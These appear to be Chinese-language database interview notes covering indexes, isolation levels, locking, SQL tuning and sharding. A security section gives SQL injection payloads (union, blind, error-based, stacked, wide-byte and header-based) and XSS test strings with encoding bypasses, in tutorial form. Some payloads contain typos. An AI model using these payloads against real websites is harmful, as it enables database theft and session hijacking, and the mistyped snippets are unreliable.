1、如何优化

2、数据库索引、高并发数据库如何建立索引、分库分表和Linux命令

  • 索引创建原则
    • 对查询频次高，数据量大的表建立索引
    • 添加索引字段的最佳候选列是在where后用得多的列和组合（查询条件中的字段）
    • 尽量使用唯一索引
    • 不是越多越好，会增加delete、insert、update维护代价
    • 使用短索引，能提升访问的I/O速度，节省存储成本
    • 利用最左前缀（最左前缀原则），针对N个列建立组合索引，就相当于创建了N个索引，提高查询效率。
      • 组合索引非常重要的原则，mysql会一直向右匹配直到遇到范围查询(>、<、between、like)就停止匹配，比如a = 1 and b = 2 and c > 3 and d = 4 如果建立(a,b,c,d)顺序的索引，d是用不到索引的，如果建立(a,b,d,c)的索引则都可以用到，a,b,d的顺序可以任意调整。
  • 高并发场景索引优化
    • 调优的第一步，都是从sql语句、索引入手。先得保证单个数据库执行没问题，才会有更高层次的分库分表、弹性、容灾等等。[

](https://blog.csdn.net/ThinkWon/article/details/104778621)

3、索引底层实现

  • B+树、散列索引（不支持范围，不支持排序，不支持模糊）、位图索引
    • Hash索引只能用于对等比较
  1. 把创建了索引的列的内容进行排序
  2. 对排序结果生成倒排表
  3. 在倒排表内容上拼上数据地址链
  4. 在查询的时候，先拿到倒排表内容，再取出数据地址链，从而拿到具体数据

  • 首先要知道Hash索引和B+树索引的底层实现原理：

    • hash索引底层就是hash表，进行查找时，调用一次hash函数就可以获取到相应的键值，之后进行回表查询获得实际数据。B+树底层实现是多路平衡查找树。对于每一次的查询都是从根节点出发，查找到叶子节点方可以获得所查键值，然后根据查询判断是否需要回表查询数据。

  • 那么可以看出他们有以下的不同：

    • hash索引进行等值查询更快(一般情况下)，但是却无法进行范围查询。因为在hash索引中经过hash函数建立索引之后，索引的顺序与原顺序无法保持一致，不能支持范围查询。而B+树的的所有节点皆遵循(左节点小于父节点，右节点大于父节点，多叉树也类似)，天然支持范围。
    • hash索引不支持使用索引进行排序，原理同上。
    • hash索引不支持模糊查询以及多列索引的最左前缀匹配。原理也是因为hash函数的不可预测。AAAA和AAAAB的索引没有相关性。

4、数据库四种隔离

image.png

  • READ-UNCOMMITTED(读取未提交)： 最低的隔离级别，允许读取尚未提交的数据变更，可能会导致脏读、幻读或不可重复读。【修改完就释放锁】
  • READ-COMMITTED(读取已提交)： 允许读取并发事务已经提交的数据，可以阻止脏读，但是幻读或不可重复读仍有可能发生。【修改事务提交后释放锁】
  • REPEATABLE-READ(可重复读)： 对同一字段的多次读取结果都是一致的，除非数据是被本身事务自己所修改，可以阻止脏读和不可重复读，但幻读仍有可能发生。【提供了间隙锁 ，使用行锁+间隙锁将表锁住，让所有操作都不能修改数据 】
  • SERIALIZABLE(可串行化)： 最高的隔离级别，完全服从ACID的隔离级别。所有的事务依次逐个执行，这样事务之间就完全不可能产生干扰，也就是说，该级别可以防止脏读、不可重复读以及幻读。【自动在锁住你要操作的整个表的数据】
  • 事务隔离机制的实现基于锁机制和并发调度。其中并发调度使用的是MVVC（多版本并发控制），通过保存修改的旧版本信息来支持并发一致性读和回滚等特性。
  • 在Read Uncommitted级别下，读取数据不需要加共享锁，这样就不会跟被修改的数据上的排他锁冲突
  • 在Read Committed级别下，读操作需要加共享锁，但是在语句执行完以后释放共享锁；
  • 在Repeatable Read级别下，读操作需要加共享锁，但是在事务提交之前并不释放共享锁，也就是必须等待事务执行完毕以后才释放共享锁。
  • SERIALIZABLE 是限制性最强的隔离级别，因为该级别锁定整个范围的键，并一直持有锁，直到事务完成。

[

](https://blog.csdn.net/ThinkWon/article/details/104778621)

5、存储过程与函数的区别

  • 存储过程是一个预编译的SQL语句，优点是允许模块化的设计，就是说只需要创建一次，以后在该程序中就可以调用多次。如果某次操作需要执行多次SQL，使用存储过程比单纯SQL语句执行要快。
    • 优点

1）存储过程是预编译过的，执行效率高。
2）存储过程的代码直接存放于数据库中，通过存储过程名直接调用，减少网络通讯。
3）安全性高，执行存储过程需要有一定权限的用户。
4）存储过程可以重复使用，减少数据库开发人员的工作量。

  • 区别
    • 本质上没区别。只是函数有如：只能返回一个变量的限制。而存储过程可以返回多个。而函数是可以嵌入在sql中使用的,可以在select中调用，而存储过程不行。执行的本质都一样。
      函数限制比较多，比如不能用临时表，只能用表变量．还有一些函数都不可用等等．而存储过程的限制相对就比较少
      1. 一般来说，存储过程实现的功能要复杂一点，而函数的实现的功能针对性比较强。
      2. 对于存储过程来说可以返回参数，而函数只能返回值或者表对象。
      3. 存储过程一般是作为一个独立的部分来执行（EXEC执行），而函数可以作为查询语句的一个部分来调用（SELECT调用），由于函数可以返回一个表对象，因此它可以在查询语句中位于FROM关键字的后面。

6、数据库的索引优缺点

  • 索引的优点
    • 可以大大加快数据的检索速度，这也是创建索引的最主要的原因。
    • 通过使用索引，可以在查询的过程中，使用优化隐藏器，提高系统的性能。
      • 是指在执行查询语句、使用多表连接检索或者指定查询语句操作的对象表时，明确地指出应该使用的查询方法、连接算法或者对表的操作方式
  • 索引的缺点
    • 时间方面：创建索引和维护索引要耗费时间，具体地，当对表中的数据进行增加、删除和修改的时候，索引也要动态的维护，会降低增/改/删的执行效率；
    • 空间方面：索引需要占物理空间。
  • 索引失效的情况

1.要想使用or，又想让索引生效，只能将or条件中的每个列都加上索引
2.复合索引未用左列字段;
3.like以%开头;
4.需要类型转换;比如列类型是字符串，那一定要在条件中将数据使用引号引用起来,否则不使用索引
5.where中索引列有运算;
6.where中索引列使用了函数;
7.如果mysql觉得全表扫描更快时（数据少）;

7、什么是事务，什么是锁？两者的区别

  • 事务是一个不可分割的数据库操作序列，也是数据库并发控制的基本单位，其执行的结果必须使数据库从一种一致性状态变到另一种一致性状态。事务是逻辑上的一组操作，要么都执行，要么都不执行。
  • 锁解决事务并发可能带来的数据不一致问题，当数据库有并发事务的时候，可能会产生数据的不一致，这时候需要一些机制来保证访问的次序，锁机制就是这样的一个机制。

8、安全相关

1）SQL注入

  • 概念
    • web应用程序对用户输入数据的合法性没有进行判断，能通过构造不同的sql实现对数据库任意操作（重点是参数可控）
  • 漏洞验证
    • Select * from users where id=1 and 1=1 不报错
    • Select * from users where id=1 and 1=2 报错，说明存在注入漏洞
  • 数据库相关概念
    • Mysql5.0之后，默认有information_schema数据库
      • SCHEMATA表：存储该用户创建的所有数据库的库名（SCHEMA_NAME）
      • TABLES表：存储该用户创建的所有数据库的库名和表名（TABLE_SCHEMA和TABLE_NAME）
      • COLUMNS表：存储该用户创建的所有数据库的库名、表名和字段名（TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME）
  • sqlmap
  • mysql查询语句
    • SELECT 字段名 FROM 库名.表名 WHERE xxx=xxx AND xxx=xxx
    • limit用法
      • Limit m,n：m指记录开始的位置（从0开始），表示第一条记录；n指取n条记录
      • 例如：limit 0，1表示从第一条记录开始，取一条记录
  • 常用数据库函数
    • Database()：当前网站使用的数据库
    • Version()：当前MYSQL版本
    • User()：当前mysql用户
  • 注释
    • #
    • —空格
    • /**/

  • 内联注释

    • /! code/：/!/在其他数据库语言中是注释，但是在sql中却可以执行，为了sql提高语句的兼容性.

  • Index.php?id=-15/! UNION//! SELECT/1,2,3

  • Union注入攻击

    • 查询数据表字段数量
      • 如果添加id=1 order by 3返回和id=1相同的结果；id=1 order by 4返回和id=1不同的结果，那么字段数为3
    • 查询到字段数后，结合union注入
      • Id=1 union select 1,2,3（查询三个字段）：这是只返回第一条id=1的结果
      • Id=-1 union select 1,2,3：数据库中没有id=-1的数据，返回union select的结果
    • 观察返回结果，假如只有2,3，说明只有第2、3位置上可以输入mysql语句
      • Union select 1,database(),3：返回数据库信息
    • 得到数据库名（sql），继续查询表名
      • id=-1 union select 1,(select table_name from imformation_schema.tables where table_schema=’sql’ limit 0,1),3（查看第一个表名）
      • id=-1 union select 1,(select table_name from imformation_schema.tables where table_schema=’sql’ limit 1,1),3（查看第二个表名）
    • 得到表名（emails），查询字段名
      • id=-1 union select 1,(select column_name from imformation_schema.columns where table_name=’emails’ limit 0,1),3（查看第一个字段名）
    • 查询字段（email_id）对应的数据
      • id=-1 union select 1,(select email_id from sql.emails limit 0,1),3（email_id的第一条数据）
    • Union注入代码分析

image.png

  • Boolean注入攻击（运算符号）

    • 验证
      • Id=1’ and 1=1%23 返回yes
      • Id=1’ and 1=2%23 返回no

  • 不返回值不能用union注入，返回true、false选择boolean注入

  • 例如：
    • Id=’ and length(database())>=1 —+：探测数据库名的长度（前面用’闭合，所以后面需要加注释）
    • 逐字符获取数据库名：id=1’ and substr(database(),1,1)=’t’ —+（这些爆破都可以借助bp的Intruder）
      • Substr(s,n,m）：截取s的值，从第n个字符开始，每次返回m个
      • substr和limit的区别：limit从0开始排序，substr从1开始排序
    • 使用ASCII码获取数据库名：id=1’ and ord(substr(database(),1,1))=115 —+
    • 逐字符获取数据表名：id=1’ and substr(（select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=’t’ —+
  • 代码分析

image.png

  • 报错注入攻击（特殊函数）
    • 尝试输入?id=1’看是否有报错信息，如果有具体信息可以利用报错注入获取数据
    • 使用函数updatexml()【也可以使用floor】
      • UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值

  • 例如：’ and updatexml(1,concat(~,(select user()),~),1)—+

    • 解释：由于updatexml的第二个参数需要Xpath格式的字符串，以~开头的内容不是xml格式的语法，concat()函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了。
    • ‘ and updatexml(1,concat(~,(select schema_name from information_schema.schemata limit 0,1),~),1)—+
    • ‘ and updatexml(1,concat(~,(select table_name from information_schema.tables where table_schema=database() limit 0,1),~),1) —+

  • 时间注入攻击（特殊函数延长执行时间）

    • 和Boolean注入的不同：利用sleep()或benchmark()等函数让mysql执行时间变长，多与IF(expr1,expr2,expr3)结合使用
    • IF(expr1,expr2,expr3)
      • 如果expr1是TRUE，则IF()的返回值为expr2；否则返回值是expr3
    • 判断数据库库名长度
      • =1’ and If(length(database())>1,sleep(5),1)
      • 通过页面响应时间判断
    • 判断数据库名
      • =1’ and If(substr(database(),1,1)=’s’,sleep(5),1)

  • 堆叠查询注入攻击

    • 可以执行多条语句，多语句之间以分号隔开；在第二个SQL语句中构造自己要执行的语句
    • 注入语句
      • ‘;select if(substr(user(),1,1)=’r’,sleep(3),1);%23
      • ‘;select if(substr(select table_name from information_schema.tables where table_schema=database() limt 0,1),1,1)=’e’, sleep(3),1);%23
    • 代码分析
      • 在堆叠注入页面中，程序获取GET参数ID，使用PDO方式进行数据查询，但仍然将参数ID拼接到查询语句，导致PDO没起到预编译的效果。

image.png

  • PDO只会返回第一条sql执行结果，在第二条语句中可以用update更新数据或者使用时间盲注

    • Select * from users where id=’1’;select if(ord(substring(user(),1,1))==114,sleep(3),1);#

  • 二次注入攻击（存储型注入）

    • 二次注入是指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。网站对我们输入的一些重要的关键字进行了转义，但是这些我们构造的语句已经写进了数据库，可以在没有被转义的地方使用。

可能每一次注入都不构成漏洞，但是如果一起用就可能造成注入。

  • 访问1.php?id=test’ union select 1,user().3%23，得到新的id=40，再访问2.php?id=40，得到user()的结果
  • 假如有一个网站管理员的用户名为：root 密码为：123456789 ，攻击者注册了一个账号 ： root’— 密码为：123因为账号当中有特殊字符，网站对于特殊字符进行了转义，一次注入在这就行不通了。虽然账号被转义了，但是他在数据库当中任然是以 root’— 的方式被储存的。现在攻击者开始实施正真的攻击了，他开始对账号修改密码。普通网站修改密码的过程为：先判断用户是否存在———》确认用户以前的密码是否正确————》获取要修改的密码————-》修改密码成功。 在数据库中 — 表示注释的意思，后面的语句不会执行，而root后面的那个单引号又与前面的 ‘ 闭合，而原本后面的那个单引号因为是在 — 之后，所以就被注释掉了，所以他修改的其实是 root 的密码。
  • 宽字节注入攻击（数据库中执行：SET NAMES ‘GBK’）
    • 特点，访问id=1’，页面返回一个转译符（\）。
    • 如果数据库编码为GBK，可以使用宽字节注入，id=1%df’，因为反斜杠编码为%5c，在GBK编码中，%df%5c是繁体字“连”，所以单引号成功逃逸
    • 1.php?id=1%df’ union select 1,user(),3#
  • 嵌套注入攻击
    • 查询数据库表名，绕过单引号转义：select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
    • select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema = (select database()) limit 0,1) limit 0,1
      • 第一个limit控制获取的表名
      • 第二个limit控制获取的字段名
  • cookie注入攻击
    • 抓包发现cookie:id=1，修改cookie:id=1’，访问返回错误；访问id=1 and 1=1和id=1 and 1=2查看返回结果验证是否存在漏洞。接着使用orde by查询字段，union 注入
    • 代码分析

image.png

  • Base64注入攻击
    • 将ID参数经过base64编码，同样先判断是否存在注入漏洞，接着使用order by查询字段，使用union完成注入

image.png

  • 漏洞代码分析
    • 在base64注入页面中，程序获取GET参数ID，利用base64_decode()对参数ID进行base64解码，解码后的被拼接在了select语句中
  • 优点：可能能够绕过WAF
  • XFF注入攻击
    • 利用X-Forwarded_for的值，它代表客户端真实IP，修改这个值可以伪造客户端IP
    • 举例：将其从127.0.0.1改为127.0.0.1’，再次访问发现有mysql报错信息
      • 设置为 127.0.0.1’ and 1=1# 和 127.0.0.1’ and 1=2#
      • 127.0.0.1’ union select 1,2,3,4#
    • 漏洞代码分析
      • php中的getenv函数用来获取一个环境变量的值

2）xss跨站脚本攻击

一、漏洞介绍（前端页面会显示用户输入，可控）

  • 跨站脚本攻击：cross-site scripting，是一种针对网站应用程序的安全漏洞攻击技术，允许恶意用户将代码注入网页，其他用户在浏览网页时会受到影响。
  • xss可以用于提权、获得私密网页内容、获得会话和cookie等。

二、漏洞原理
1、反射型xss

  • 非持久型
  • 攻击方式：通过电子邮件等将包含xss代码的恶意链接发送给目标用户，用户访问链接时，服务器接收到用户请求并处理，服务器把带有xss代码的数据发送给目标用户浏览器，浏览器解析这段恶意脚本后就会触发xss漏洞。

2、存储型xss

  • 持久型，攻击脚本永久存放在目标服务器的数据库或文件中
  • 攻击方式：论坛、博客、留言板

3、DOM型xss

  • DOM：Document Object Model。使用DOM可以使程序和脚本能够动态访问和更新文档内容、结构和样式。
    • HTML标签都是节点，这些节点组成了DOM的整体结构——节点树。通过HTML DOM，树中的所有节点都可以通过javascript访问。所有HTML元素均可被修改、创建或删除。
    • 页面到达浏览器时，浏览器会为页面创建一个项级的Document object文档对象，然后生成各个子文档对象，每个页面元素对应一个文档对象，每个文档对象包含属性、方法和事件。
    • 可以通过js脚本对文档内容进行编辑，修改页面元素。也就是说客户端的脚本程序可以通过DOM动态修改页面内容，从客户端获取DOM中的数据并在本地执行
    • 由于DOM是在客户端修改节点，所以基于DOM型的XSS漏洞不需要与服务器端交互，只发生在客户端处理数据的阶段
  • 是特殊的反射型xss，是基于DOM文档对象模型的一种漏洞

三、反射型xss攻击（通过参数传递）

四、存储型xss攻击

  • 获取输入内容，将标题和内容插到数据库
  • 代码分析
    • php获得不安全参数$_POST[]，放入了数据库，下次查询就会被执行

五、DOM型xss攻击

  • 有js函数获取输入的内容去改修改其他元素（DOM操作）

image.png
一、常用语句及编码绕过

  • 常用测试语句

    • 数据库面试题集锦 - 图9
      • SVG 是一种基于 XML 语法的图像格式，全称是可缩放矢量图（Scalable Vector Graphics）。其他图像格式都是基于像素处理的，SVG 则是属于对图像的形状描述，所以它本质上是文本文件，体积较小，且不管放大多少倍都不会失真。
    • <a href=javascript:alert(1)>

  • 常见xss的绕过编码

    • js编码（位数不够要前面补0）
      • 三个八进制数字：\145
      • 两个十六进制数字：\x65
      • 四个十六进制数字：\u0065
      • 控制字符：使用特殊的C类型转译风格？？
    • html实体编码
      • 命名实体：&开头，;结尾，比如<（”<”）
      • 字符编码：十进制、十六进制ASCII码或unicode字符编码，&#数值; ，比如（< <）
    • URL编码
      • 两次url全编码的结果

二、危害

  • 获取客户端信息，比如来源地址、cookie、IP、浏览器等，可以伪造登陆凭证

三、修复建议

  • 过滤输入的数据
  • 对输入数据进行编码

9、MySQL的binlog有有几种录入格式？分别有什么区别？

10、MySQL存储引擎MyISAM与InnoDB区别

11、为什么要使用视图？什么是视图？有什么修改限制？

12、超键、候选键、主键、外键分别是什么？

13、SQL优化

① 避免全表扫描：考虑在 WHERE 和 ORDER BY 涉及的列上建立索引，IN 和 NOT IN 也要慎用，尽量用 BETWEEN 取代。
② 优化 COUNT：某些业务不要求完全精确的 COUNT 值，此时可以使用近似值来代替，EXPLAIN 估算的行数就是一个不错的近似值。
③ 避免子查询：在 MySQL5.5 及以下版本避免子查询，因为执行器会先执行外部的 SQL 再执行内部的 SQL，可以用关联查询代替。
④ 禁止排序：当查询使用 GROUP BY 时，结果集默认会按照分组字段排序，如果不关心顺序，可以使用 ORDER BY NULL 禁止排序。
⑤ 优化分页：从上一次取数据的位置开始扫描，避免使用 OFFSET。
⑥ 优化 UNION：MySQL 通过创建并填充临时表的方式来执行 UNION 查询，除非确实需要消除重复的行，否则使用 UNION ALL，如果没有 ALL 关键字，MySQL 会给临时表加上 DISTINCT 选项，对整个临时表的数据做唯一性检查，代价非常高。
⑦ 使用用户自定义变量：用户自定义变量是一个用来存储内容的临时容器，在连接 MySQL 的整个过程中都存在，可以在任何可以使用表达式的地方使用自定义变量，避免重复查询刚刚更新过的数据。

1）如何定位及优化SQL语句的性能问题？创建的索引有没有被使用到?或者说怎么才可以知道这条语句运行很慢的原因？

  • 使用执行计划，MySQL提供了explain命令来查看语句的执行计划。 显示数据库引擎对于SQL语句的执行的详细情况，其中包含了是否使用索引，使用什么索引，使用的索引的相关信息等。

    2）SQL的生命周期？

  1. 应用服务器与数据库服务器建立一个连接
  2. 数据库进程拿到请求sql
  3. 解析并生成执行计划，执行
  4. 读取数据到内存并进行逻辑处理
  5. 通过步骤一的连接，发送结果到客户端
  6. 关掉连接，释放资源

    3）大表数据查询，怎么优化

  • 加缓存，memcached, redis；
  • 优化shema、sql语句+索引；
  • 主从复制，读写分离；
  • 垂直拆分，根据你模块的耦合度，将一个大的系统分为多个小的系统，也就是分布式系统；

  • 水平切分，针对数据量大的表，这一步最麻烦，最能考验技术水平，要选择一个合理的sharding key, 为了有好的查询效率，表结构也要改动，做一定的冗余，应用也要改，sql中尽量带sharding key，将数据定位到限定的表上去查，而不是扫描全部的表；

    4）超大分页怎么处理？

  • 减少load的数据（优化sql语句）

  • 缓存
  • 首先分析语句，看看是否load了额外的数据，可能是查询了多余的行并且抛弃掉了，可能是加载了许多结果中并不需要的列，对语句进行分析以及重写。
  • 分析语句的执行计划，然后获得其使用索引的情况，之后修改语句或者修改索引，使得语句可以尽可能的命中索引。

  • 如果对语句的优化已经无法进行，可以考虑表中的数据量是否太大，如果是的话可以进行横向或者纵向的分表。

    5）如果要存储用户的密码散列，应该使用什么字段进行存储？

  • 密码散列，盐，用户身份证号等固定长度的字符串应该使用char而不是varchar来存储，这样可以节省空间且提高检索效率。

    6）优化子查询

  • 用关联查询替代

  • 优化GROUP BY和DISTINCT

  • 这两种查询据可以使用索引来优化，是最有效的优化方法

    7）优化LIMIT分页

  • 可以记录上次查询的最大ID，下次查询时直接根据该ID来查询

    8）优化UNION查询

  • UNION ALL的效率高于UNION

    9）优化WHERE子句

  • 对查询进行优化，应尽量避免全表扫描，首先应考虑在 where 及 order by 涉及的列上建立索引。

  • 应尽量避免在 where 子句中对字段进行 null 值判断，否则将导致引擎放弃使用索引而进行全表扫描
  • 应尽量避免在 where 子句中使用!=或<>操作符，否则引擎将放弃使用索引而进行全表扫描。
  • 其他索引无法使用的情况。

14、数据库优化

1）数据库结构优化

  • 将字段很多的表分解成多个表
  • 增加中间表
    • 通过建立中间表，将需要通过联合查询的数据插入到中间表中，然后将原来的联合查询改为对中间表的查询。

  • 增加冗余字段

    • 合理的加入冗余字段可以提高查询速度。减少表之间的连接。

      2）大表怎么优化？某个表有近千万数据，CRUD比较慢，如何优化？分库分表了是怎么做的？分表分库了有什么问题？有用到中间件么？他们的原理知道么？

  • 当MySQL单表记录数过大时，数据库的CRUD性能会明显下降，一些常见的优化措施如下：

    • 限定数据的范围： 务必禁止不带任何限制数据范围条件的查询语句。比如：我们当用户在查询订单历史的时候，我们可以控制在一个月的范围内。；
    • 读/写分离： 经典的数据库拆分方案，主库负责写，从库负责读；
    • 缓存： 使用MySQL的缓存，另外对重量级、更新少的数据可以考虑使用应用级别的缓存；
    • 分库分表，主要有垂直分表和水平分表

3）MySQL的复制原理以及流程

  • 主从复制：将主数据库中的DDL和DML操作通过二进制日志（BINLOG）传输到从数据库上，然后将这些日志重新执行（重做）；从而使得从数据库的数据与主数据库保持一致。

  • 主从复制的作用

    • 主数据库出现故障，可以切换到从数据库。
    • 可以进行数据库层面的读写分离。
    • 可以在从数据库上进行日常备份。

  • MySQL主从复制解决的问题

    • 数据分布：随意开始或停止复制，并在不同地理位置分布数据备份
    • 负载均衡：降低单个服务器的压力
    • 故障切换：帮助应用程序避免单点失败
    • 升级测试：可以用更高版本的MySQL作为从库

  • MySQL主从复制工作原理

    • 在主库上把数据更高记录到二进制日志
    • 从库将主库的日志复制到自己的中继日志
    • 从库读取中继日志的事件，将其重放到从库数据中

  • 基本原理流程，3个线程以及之间的关联

    • 主：binlog线程——记录下所有改变了数据库数据的语句，放进master上的binlog中；
    • 从：io线程——在使用start slave 之后，负责从master上拉取 binlog 内容，放进自己的relay log中；
    • 从：sql执行线程——执行relay log中的语句；

      4）读写分离有哪些解决方案？

  • 大多数互联网业务，往往读多写少，这时候，数据库的读会首先成为数据库的瓶颈，这时，如果我们希望能够线性的提升数据库的读性能，消除读写锁冲突从而提升数据库的写性能，那么就可以使用“分组架构”。

    5）分库分表

  • 分库分表就是为了解决由于数据量过大而导致数据库性能降低的问题，将原来独立的数据库拆分成若干数据库组成 ，将数据大表拆分成若干数据表组成，使得单一数据库、单一数据表的数据量变小，从而达到提升数据库性能的目的。

  • 垂直分表（字段）
    • 场景：将访问频次低的商品描述信息单独存放在一张表中，访问频次较高的商品基本信息单独放在一张表中。
    • 将一个表按照字段分成多表，每个表存储其中一部分字段。
      它带来的提升是：

1.为了避免IO争抢并减少锁表几率（并发），查看详情的用户与商品信息浏览互不影响
2.充分发挥热门数据的操作效率，商品信息的操作的高效率不会被商品描述的低效率所拖累（解决效率制约）

  • 垂直分库
    • 库内垂直分表只解决了单一表数据量过大的问题，但没有将表分布到不同的服务器上，因此每个表还是竞争同一个物理机的CPU、内存、网络IO、磁盘。
    • 垂直分库是指按照业务将表进行分类，分布到不同的数据库上面，每个库可以放在不同的服务器上，它的核心理念是专库专用。
      • 解决业务层面的耦合，业务清晰
      • 能对不同业务的数据进行分级管理、维护、监控、扩展等
      • 高并发场景下，垂直分库一定程度的提升IO、数据库连接数、降低单机硬件资源的瓶颈
      • 垂直分库通过将表按业务分类，然后分布在不同数据库，并且可以将这些数据库部署在不同服务器上，从而达到多个服务器共同分摊压力的效果，但是依然没有解决单表数据量过大的问题。
  • 水平分库
    • 水平分库是把同一个表的数据按一定规则拆到不同的数据库中，每个库可以放在不同的服务器上。垂直分库是把不同表拆到不同数据库中，它是对数据行的拆分，不影响表结构
      • 解决了单库大数据，高并发的性能瓶颈。
      • 提高了系统的稳定性及可用性。
  • 水平分表（记录）
    • 水平分表是在同一个数据库内，把同一个表的数据按一定规则拆到多个表中。
    • 优化单一表数据量过大而产生的性能问题
    • 避免IO争抢并减少锁表的几率
    • 库内的水平分表，解决了单一表数据量过大的问题，分出来的小表中只包含一部分数据，从而使得单个表的数据量变小，提高检索性能。

15、表分区和分区表

  • 分区和分表的区别
    • 分区和分表相似，都是按照规则分解表。不同在于分表将大表分解为若干个独立的实体表，而分区是将数据分段划分在多个位置存放，可以是同一块磁盘也可以在不同的机器。分区后，表面上还是一张表，但数据散列到多个位置了。app读写的时候操作的还是大表名字，db自动去组织分区的数据。分区的主要目的是为了在特定的SQL操作中减少数据读写的总量以缩减响应时间。
    • 分表和分区不矛盾，可以相互配合的，对于那些大访问量，并且表数据比较多的表，我们可以采取分表和分区结合的方式，访问量不大，但是表数据很多的表，我们可以采取分区的方式等。

16、mysql 中 drop truncate，delete 的区别

drop 会删除表的定义、所有表数据、所有触发器，但它不会删除你为该表设置的权限（需手动删除）。它是 DDL 语句会隐式提交事务。
会完全清空表；
truncate 可以等价于 drop table + create table （re-create）（删除整张表包括数据再重新创建表），但它的性能比那两个操作的合体高；
逐行删除数据，每步删除都是有日志记录的，可以回滚数据；实质是逐行删除表中的数据；
delete 操作不会减少表或索引所占用的空间。

17、数据库的锁

  • 共享锁与排他锁

    • 共享锁（读锁）：其他事务可以读，但不能写。
    • 排他锁（写锁） ：其他事务不能读取，也不能写。

  • 粒度锁

    • 表级锁：开销小，加锁快；不会出现死锁；锁定粒度大，发生锁冲突的概率最高，并发度最低。
      • 表级锁更适合于以查询为主，并发用户少，只有少量按索引条件更新数据的应用，如Web应用
    • 行级锁：开销大，加锁慢；会出现死锁；锁定粒度最小，发生锁冲突的概率最低，并发度也最高。
      • 最大程度的支持并发，同时也带来了最大的锁开销。行级锁更适合于有大量按索引条件并发更新少量不同数据，同时又有并发查询的应用，如一些在线事务处理（OLTP）系统。
    • 页面锁：开销和加锁时间界于表锁和行锁之间；会出现死锁；锁定粒度界于表锁和行锁之间，并发度一般。

  • 一些优化锁性能的建议

    • 尽量使用较低的隔离级别；
    • 精心设计索引， 并尽量使用索引访问数据， 使加锁更精确， 从而减少锁冲突的机会
    • 选择合理的事务大小，小事务发生锁冲突的几率也更小
    • 给记录集显示加锁时，最好一次性请求足够级别的锁。比如要修改数据的话，最好直接申请排他锁，而不是先申请共享锁，修改时再请求排他锁，这样容易产生死锁
    • 不同的程序访问一组表时，应尽量约定以相同的顺序访问各表，对一个表而言，尽可能以固定的顺序存取表中的行。这样可以大大减少死锁的机会
    • 尽量用相等条件访问数据，这样可以避免间隙锁对并发插入的影响
    • 不要申请超过实际需要的锁级别
    • 除非必须，查询时不要显示加锁。 MySQL的MVCC可以实现事务中的查询不用加锁，优化事务性能；MVCC只在COMMITTED READ（读提交）和REPEATABLE READ（可重复读）两种隔离级别下工作
    • 对于一些特定的事务，可以使用表锁来提高处理速度或减少死锁的可能


18、死锁产生的条件

  • 什么是死锁

    • 死锁是指两个或两个以上的进程在执行过程中，由于竞争资源或者由于彼此通信而造成的一种阻塞的现象，若无外力作用，它们都将无法推进下去。此时称系统处于死锁状态或系统产生了死锁，这些永远在互相等待的进程称为死锁进程。

  • 产生死锁的四个条件

    • 互斥条件（Mutual exclusion）：资源不能被共享，只能由一个进程使用。
    • 请求与保持（Hold and wait）：已经得到资源的进程可以再次申请新的资源。
    • 不可剥夺（No pre-emption）：已经分配的资源不能从相应的进程中被强制地剥夺。
    • 环路等待（Circular wait）：系统中若干进程组成环路，该环路中每个进程都在等待相邻进程正占用的资源。

  • 预防死锁

    • 预先资源分配法
      • 一次性申请所有需要的资源，只要有一种资源不满足要求，哪怕其它需要的资源都足够，也不做任何分配。这样一来就没有“保持”资源的状态，只有“请求”资源的状态，破坏了请求与保持条件。
    • 有序资源分配法
      • 在申请不同类资源时，必须按指定顺序申请，破坏了环路等待条件。

  • 避免死锁

    • 银行家算法，基本思想是分配资源之前，判断系统是否是安全的；若是，才分配。

  • 检测死锁和解除

    • 不采取措施防止死锁产生，允许系统产生死锁，但是可以通过一些手段检测出死锁，然后将死锁解除。
    • 根据具体业务场景，可以撤销或挂起死锁的进程/线程，使资源释放。